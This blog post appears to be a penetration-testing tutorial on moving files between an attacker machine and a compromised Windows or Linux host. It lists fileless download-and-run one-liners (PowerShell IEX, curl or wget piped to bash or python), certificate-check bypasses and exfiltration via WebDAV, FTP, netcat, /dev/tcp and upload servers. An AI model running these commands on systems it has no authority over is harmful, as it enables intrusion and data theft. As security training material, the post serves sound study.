Post

File Transferring Techniques

File transfer is an important skill that can help you transfer data, such as payloads or files of interest, from the attacker machine to the victim host, and vice versa.

File Transferring Techniques

File Transfer Techniques For Windows

File Transfer To Windows Target Host

We have access to a Windows machine and need to transfer a file from our attack machine to the target. Let’s learn how.

Using PowerShell To Encoding & Decoding Base64

1
2
root@kakarot$ cat file | base64 -w 0; echo
Base64 Encode...
1
PS C:\neo> [IO.File]::WriteAllBytes("C:\Users\Public\file", [Convert]::FromBase64String("Base64 Encode Here"))

After this oparation we can check if our file was transferred successfully using md5sum for linux and Get-FileHash for windows

1
root@kakarot$ md5sum file
1
PS C:\neo> Get-FileHash C:\Users\Public\file -Algorithm md5

This method is easy, but it has limits. On Windows, the Command Line can handle up to 8191 characters, and sending very long strings via a web shell may cause errors.

Using SMB

1
root@kakarot$ impacket-smbserver -smb2support <ShareName> <SharePath>  
1
C:\\neo> copy \\<IP>\<ShareName>\<File> <DestinationPath>

Unauthenticated guest access is blocked on new versions of Windows, so we need to set a username and password

1
root@kakarot$ impacket-smbserver -smb2support <ShareName> <SharePath>  -user neo -password neo@3301
1
C:\neo> net use K: \\<IP>\<ShareNmae> /user:neo neo@3301

Using FTP

We can create an FTP server easily with pyftpdlib Python3 module.

1
root@kakarot$ pip3 install pyftpdlib
1
root@kakarot$ python3 -m pyftpdlib --port 21      #Default port is 2121

Now let’s download our file from windows machine.

1
PS C:\neo> (New-Object Net.WebClient).DownloadFile('ftp://<IP>/<FileName>', 'C:\Users\Public\<FileNmae>')

If we don’t have an interactive shell, we can create a text file containing FTP commands and let the FTP client execute it automatically to download the desired file without manual input

1
2
3
4
5
6
7
8
9
10
11
C:\neo> echo open <IP> > commandsfile.txt
C:\neo> echo USER anonymous >> commandsfile.txt
C:\neo> echo binary >> commandsfile.txt
C:\neo> echo GET <FileName> >> commandsfile.txt
C:\neo> echo bye >> commandsfile.txt
C:\neo> ftp -v -n -s:commandsfile.txt

ftp> open <FTP>
ftp> binary
ftp> GET <FileName>
ftp> bye

Using PowerShell Web

Most companies keep HTTP and HTTPS open through the firewall so employees can get their work done, which also makes these protocols handy for transferring files. That said, security teams often use web filters to limit access or block certain downloads.
PowerShell makes file transfers pretty easy too, you can use the System.Net.WebClient class to grab files over HTTP, HTTPS, or even FTP in a few different ways.

Method Description
OpenRead Establishes a connection to the specified resource and retrieves the data as a readable Stream, allowing sequential access to the content.
OpenReadAsync Initiates an asynchronous operation to open a connection and retrieve the resource as a Stream, enabling non-blocking execution of the calling thread.
DownloadData Downloads the resource data from the specified URI and returns it as a byte array, suitable for binary data processing.
DownloadDataAsync Performs an asynchronous download of the resource and returns the result as a byte array once the operation completes, without pausing the calling thread.
DownloadFile Retrieves the resource from the specified URI and saves it directly to a local file path on the system.
DownloadFileAsync Executes an asynchronous file download from the specified URI and writes it to a local file, allowing the main thread to continue running concurrently.
DownloadString Downloads textual content from the specified URI and returns it as a string, typically used for reading web pages or text-based data.
DownloadStringAsync Asynchronously retrieves textual data from a resource and returns it as a string, preventing the calling thread from being blocked during the operation.
OpenWrite Opens a writable Stream to the specified resource, allowing data to be uploaded directly to the server.
OpenWriteAsync Initiates an asynchronous operation to open a writable Stream for uploading data to the server without blocking the calling thread.

Net.WebClient class with DownloadFile and DownloadFileAsync methods :

1
PS C:\neo> (New-Object Net.WebClient).DownloadFile('<FileURL>','<DestinationPath>')
1
PS C:\neo> (New-Object Net.WebClient).DownloadFileAsync('<FileURL>','<DestinationPath>')

Fileless attacks rely on using OS functions to download code and execute it directly in memory, for example, PowerShell can run a script from the internet via Invoke-Expression (or IEX) instead of saving it to disk.

1
PS C:\neo> IEX (New-Object Net.WebClient).DownloadString('<FileURL>')

We can use pipeline with IEX:

1
PS C:\neo> (New-Object Net.WebClient).DownloadString('<FileURL>') | IEX

We can also use Invoke-WebRequest, but it’s better to use iwr, curl, or wget since it’s slower for downloading files.

1
PS C:\neo> Invoke-WebRequest <FileURL> -OutFile <DestinationPath>

Learn More About That !

Sometimes Invoke-WebRequest trips up because the Internet Explorer engine or its first‑run setup isn’t ready. If that happens, try the basic parser:

1
PS C:\neo> Invoke-WebRequest https://<IP>/<FileName> -UseBasicParsing | IEX

HTTPS downloads can choke on untrusted certs, so you can bypass certificate checks for the session.

1
PS C:\neo> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

File Transfer From Windows Target Host

Using PowerShell To Encoding & Decoding Base64

1
PS C:\neo> [Convert]::ToBase64String((Get-Content -path "C:\Users\Public\file" -Encoding byte))
1
root@kakarot$ echo <Base64 Encode Here> | base64 -d > file

Finally, we can check file with md5sum

Using SMB

Companies often block SMB traffic for security reasons, so SMB can use WebDAV to transfer files over HTTP or HTTPS instead.

Install Python modules:

1
root@kakarot$ pip3 install wsgidav cheroot

Run WebDav:

1
root@kakarot$ wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Connect to the share using the DavWWWRoot directory:

1
C:\neo> dir \\<IP>\DavWWWRoot

DavWWWRoot is a special Windows keyword that points to the root of a WebDAV server, it’s not an actual folder on the server. To avoid using it, connect directly to an existing folder, e.g. \\<IP>\<FolderNmae>.

Upload files via WebDAV:

1
2
C:\neo> copy C:\Users\administator\Documents\IT-Project.zip \\<IP>\DavWWWRoot\
C:\neo> copy C:\Users\administator\Documents\IT-project.zip \\<IP>\<FolderNmae>\

We can use also impacket-smbserver if port 445 is not blocked.

Using FTP

Run FTP Server:

1
root@kakarot$ python3 -m pyftpdlib --port 21 --write

Upload files via FTP using PowerShell

1
PS C:\neo> (New-Object Net.WebClient).UploadFile('ftp://<IP>/<FileNmae>', 'C:\Users\neo\Desktop\<FIleNmae>')

Using Command File:

1
2
3
4
5
6
7
8
9
10
11
12
C:\neo> echo open <IP> > ftpcommand.txt
C:\neo> echo USER anonymous >> ftpcommand.txt
C:\neo> echo binary >> ftpcommand.txt
C:\neo> echo PUT c:\Users\neo\Desktop\<FileNmae> >> ftpcommand.txt
C:\neo> echo bye >> ftpcommand.txt

C:\neo> ftp -v -n -s:ftpcommand.txt

ftp> open <IP>
ftp> USER anonymous
ftp> PUT c:\Users\neo\Desktop\<FileNmae>
ftp> bye

Using PowerShell Web

PowerShell has no built-in upload, so use Invoke-WebRequest or Invoke-RestMethod and run a Python upload server (e.g., uploadserver).

1
root@kakarot$ pip3 install uploadserver
1
root@kakarot$ python3 -m uploadserver

Now we use a PowerShell script called PSUpload.ps1 that uses Invoke-RestMethod to upload files, it accepts -File (file path) and -Uri (server URL).

1
PS C:\neo> Invoke-FileUpload -Uri <UploadServerURL> -File <FileToUpload>

Using PowerShell Base64 & Ncat

1
2
PS C:\neo> $b64 = [System.convert]::ToBase64String((Get-Content -Path '<FilePath>' -Encoding Byte))
PS C:\neo> Invoke-WebRequest -Uri <ServerURL> -Method POST -Body $b64
1
root@kakarot$ nc -lvnp 8000
1
root@kakarot$ echo <base64> | base64 -d -w 0 > <FileNameToSave>

File Transfer Techniques For Linux

File Transfer To Linux Target Host

Using Base64 Encoding & Decoding

Encoding:

1
root@kakarot$ cat <FileNmae> | base64 -w 0;echo

cat: To print the content of the file.
-w 0: Only one line.
;echo: Srart new line for easy copy.

Decoding:

1
root@kakarot echo -n <'Base64'> | base64 -d

-n: Do not output the trailing newline.

You can check it with md5sum.

Using Wget & cURL

With Wget:

1
root@kakarot$ wget <FileURL> -O [FileNameToSave]

With cURL:

1
root@kakarot$ curl -o <FileURL>

Using Fileless Attack

With Wget:

1
root@kakarot$ curl <FileURL> | bash

With cURL:

1
root@kakarot$ wget -qO- <PythonFileURL> | python3

Some techniques (for example, creating a named pipe with mkfifo) leave filesystem artifacts, even if execution uses a pipe and appears fileless, the payload may still create temporary files or pipes on the OS.

Using Bash

We can use this method if the previous methods are not available.

If you are using zsh, switch to bash by typing bash at your terminal prompt and pressing Enter. Then follow this method:

Start a simple python webserver on our attack machine:

1
root@kakarot$ python3 -m http.server <PORT>

From the target machine inside bash open a TCP connection, send a proper HTTP request, then read the response:

1
root@kakarot$ exec 3<>/dev/tcp/<IP>/<PORT>
1
root@kakarot$ echo -e "GET /<FileName> HTTP/1.1\n\n">&3
1
root@kakarot$ cat <&3

Using SSH

On your attack machine, enable and start the SSH daemon:

Many distributions name the service sshd rather than ssh.

1
root@kakarot$ systemctl enable ssh         #Enable SSH to start at boot
1
root@kakarot$ systemctl start ssh          #Start the SSH service now
1
root@kakarot$ systemctl status ssh    #Check service status

Verify listening ports:

1
root@kakarot$ netstat -lnpt     #Listening Ports

Or:

1
root@kakarot$ ss -tulnp

Downloading files:

1
root@kakarot$ scp <username>@<IP>:<PathToFile> .    #The dote means save file in the current path.

Downloading directory:

1
root@kakarot$ scp -r <username>@<IP>:<PathToDir> .    #The dote means save folder in the current path.

File Transfer From Linux Target Host

Using Web Upload

Install uploadserver Python module for the current user:

1
root@kakarot$ python3 -m pip install --user uploadserver

**Generate a self-signed cert to secure our HTTP connection: **

1
root@kakarot$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Make a new folder for our upload page:

Don’t save the cert on some webpage folder !

1
root@kakarot$ mkdir UploadFolder && cd UploadFolder

Running HTTPS server using uploadserver:

1
root@kakarot$ python3 -m uploadserver 443 --server-certificate ~/server.pem

Upload files:

1
root@kakarot$ curl -X POST https://<IP>/upload -F 'files=@<FilePath1>' -F 'files=@<FilePath2>' -k

-k or --insecure : Using this option makes the transfer insecure.

Using Web Easy Ways

Python2.7 - Simple Web Server:

1
root@kakarot$ python2.7 -m SimpleHTTPServer

Python3 - Simple Web Server:

1
root@kakarot$ python3 -m http.server

PHP - Simple Web Server:

1
root@kakarot$ php -S 0.0.0.0:8000

Ruby - Simple Web Server:

1
root@kakarot$ ruby -run -ehttpd . -p8000

Using SCP

1
root@kakarot$ scp <FilePath> <username>@<IP>:<PathToSave>

File Transfer via Scripting Languages

Recent Linux distributions often come with different programming languages already installed, such as Python, Perl, Ruby, or PHP. We can also run VBScript or JavaScript on Windows by using applications such as cscript and mshta. This section explores how these languages, and even built-in Windows tools, can be used for transferring files.

We will use LinPeas as an example of a downloaded file.

Using Python

Python2.7:

1
root@kakarot$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "linpeas.sh")'

Python3:

1
root@kakarot$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "linpeas.sh")'

Using PHP

Fopen Module:

1
2
root@kakarot$ php -r 'const BUFFER = 1024; $fremote = 
fopen("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "rb"); $flocal = fopen("linpeas.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

File_get_contents & File_put_contents Modules:

1
root@kakarot$ php -r '$file = file_get_contents("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"); file_put_contents("linpeas.sh",$file);'

Fileless Attack:

1
root@kakarot$ php -r '$lines = @file("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Learn More About PHP Modules !

Using Ruby

1
root@kakarot$ ruby -e 'require "net/http"; File.write("linpeas.sh", Net::HTTP.get(URI.parse("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh")))'

Using Perl

1
root@kakarot$ perl -e 'use LWP::Simple; getstore("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "linpeas.sh");'

Using JavaScript

With cscript:

Save this Javascript code on .js file like download.js:

1
2
3
4
5
6
7
8
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Then we can use this script from our CMD or PoweShell to download file:

1
C:\neo> cscript.exe /nologo download.js https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1 winPEAS.ps1

With mshta:

Save this HTML code on .hta file like download.hta:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
<head>
  <HTA:APPLICATION ID="dwn" APPLICATIONNAME="MiniDownloader" />
  <script language="javascript">
    try {
      var raw = dwn.commandLine || "";
      var m = raw.match(/"([^"]+)"|(\S+)/g) || [];
      var args = m.map(x => x.replace(/"/g,""));
      if (args.length && args[0].toLowerCase().endsWith(".hta")) args.shift();

      if (args.length < 2) { window.close(); }

      var url = args[0];
      var out = args[1];

      if (!/^https?:\/\//i.test(url)) { window.close(); }

      var x = new ActiveXObject("MSXML2.XMLHTTP");
      x.open("GET", url, false);
      x.send();

      if (x.status != 200) { window.close(); }

      var s = new ActiveXObject("ADODB.Stream");
      s.Type = 1;
      s.Open();
      s.Write(x.responseBody);
      s.SaveToFile(out, 2);
      s.Close();

      window.close();
    } catch(e) {
      try { window.close(); } catch(_) {}
    }
  </script>
</head>
<body></body>
</html>

Then running this script:

1
C:\neo> mshta.exe "download.hta" "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1" "winPEAS.ps1"

Using VBScript

VBScript is a lightweight scripting language developed by Microsoft and derived from Visual Basic. Although it lacks some of the advanced capabilities of full Visual Basic, it remains a versatile tool that allows developers to create interactive and dynamic web pages with ease.

Save this script on .vbs file like download.vbs:

1
2
3
4
5
6
7
8
9
10
11
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

Then running this script:

1
C:\neo> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1 winPEAS.ps1

Upload Using Python

Starting a simple uploadserver module

1
root@kakarot$ python3 -m uploadserver

Now, we can use this Python code to upload our file:

1
2
3
4
5
6
7
8
9
10
11
# Import the requests library for HTTP protocol operations
import requests 

# Initialize the target endpoint URL for file upload destination
URL = "http://<IP>:8000/upload"

# Open the system password file in binary read mode for byte-level access
file = open("<FilePath>","rb")

# Execute HTTP POST request with multipart/form-data encoding for file transfer
r = requests.post(URL, files={"files":file})

Or this onliner Python code:

1
root@kakarot$ python3 -c 'import requests;requests.post("http://<IP>:8000/upload",files={"files":open("<FilePath>","rb")})'

Alternative Ways to Transfer Files

Using Ncat & NetCat

The goal is to transfer a file from the attacker host to the target host via two different processes:

Process 1: The target machine listens as a listener, and the attacker machine connects as a client.

We run Netcat or Ncat in server (listening) mode on the compromised machine, and any data it receives is routed to a local file:

1
root@target$ nc -l -p 7000 > file

-l or --listen: Bind and listen for incoming connections.
-p or --source-port port: Specify source port to use

With Ncat we’ll need to specify --recv-only to close the connection when the file transfer is finished.

Now, on the attack machine, we run Netcat or Ncat in client mode to connect to the compromised machine and send the file contents:

1
root@kakarot$ nc -q 0 <IP> 7000 < file

-q: After EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.

With Ncat we’ll need to specify --send-only its similar to -q 0 in Netcat, it tells Ncat to terminate the connection as soon as it finishes sending data.

Process 2: The attacking machine listens as a listener, and the compromised machine connects as a client.

Here, the attack machine listens, and when someone connect on it, it sends the file immediately:

1
root@kakarot$ nc -l -p 443 -q 0 < file

Or

1
root@kakarot$ ncat -l -p 443 --send-only < file

Now, on the compromised machine, we connect to the attack machine to receive the file.

1
root@target$ nc <IP> 443 > file

Or

1
root@target ncat <IP> 443 --recv-only > file

If the Netcat or Ncat tool is not available on the compromised machine, a built-in property in Bash called /dev/tcp can be used.

1
root@kakarot$ nc -l -p 443 -q 0 < file

Or

1
root@kakarot ncat -l -p 443 --send-only < file

On the compromised machine:

1
root@target$ cat < /dev/tcp/<IP>/443 > file

Using PowerShell Session

When traditional transport protocols such as HTTP, HTTPS, or SMB are unavailable or blocked, PowerShell Remoting (also known as WinRM) can be used as an alternative channel to remotely execute commands and, if needed, transfer files between systems.

PowerShell Remoting is a mechanism that allows commands and scripts to be executed on remote computers using PowerShell sessions. It is commonly used by system administrators to manage remote machines across a network. It operates on the following default ports:
TCP 5985 for HTTP
TCP 5986 for HTTPS

To establish a PowerShell Remoting session, you need administrative privileges on the remote machine, be a member of the Remote Management Users group, or have explicit permissions granted for PowerShell Remoting in the session configuration.

In our example: WORKSTATION01: Local computer (starting point) - 10.1.1.50 SERVER02: Remote computer (target) - 10.1.1.25 User: ANON\neo (has administrative privileges)

Step 1: Identify and verify the environment:

1
2
PS C:\Users\neo> whoami
ANON\neo
1
2
PS C:\Users\neo> hostname
WORKSTATION01

Step 2: Test the accessibility of the WinRM service:

1
2
3
4
5
6
7
8
PS C:\Users\neo> Test-NetConnection -ComputerName SERVER02 -Port 5985

ComputerName     : SERVER02
RemoteAddress    : 10.1.1.25
RemotePort       : 5985
InterfaceAlias   : Ethernet
SourceAddress    : 10.1.1.50
TcpTestSucceeded : True

A result of True indicates a successful connection, confirming that the PowerShell Remoting service is active and available.

Step 3: Establish a remote session:

1
PS C:\Users\neo> $RemoteSession = New-PSSession -ComputerName SERVER02

New-PSSession: Creates a remote connection session
-ComputerName SERVER02: Specifies the target machine
$RemoteSession: Stores the session for reuse

Step 4: File Transfers:

Sending a file from the local host to the remote host:

1
PS C:\Users\neo> Copy-Item -Path "<LocalFilePath>" -ToSession $RemoteSession -Destination "<RemoteSavePath>"

Copying a file from the remote host to the local host:

1
PS C:\Users\neo> Copy-Item -Path "<RemoteFilePath>" -FromSession $RemoteSession -Destination "<LocalSavePath>"

Using RDP

We can mout a linux folder using xfreerdp or rdektop.

xfreerdp:

1
root@kakarot$ xfreerdp /v:<IP> /d:<Domain> /u:<USER> /p:'<PASS>' /drive:linux,/home/neo/Desktop/id_rsa

rdektop:

1
root@kakarot$ rdesktop <IP> -d <Domain> -u <USER> -p '<PASS>' -r disk:linux='/home/neo/Desktop/ida_rsa'

After connecting to the remote session, we open File Explorer on the remote machine and navigate to \\tsclient\, where we will find the local folder we mount.

Implementation from Windows systems

Windows > mstsc.exe (Remote Desktop Connection) > Show Options > Local Resources > More… > Drives > Select Drive > Connect > Access via \tsclient\

Let’s do it !

My Image

This post is licensed under CC BY 4.0 by the author.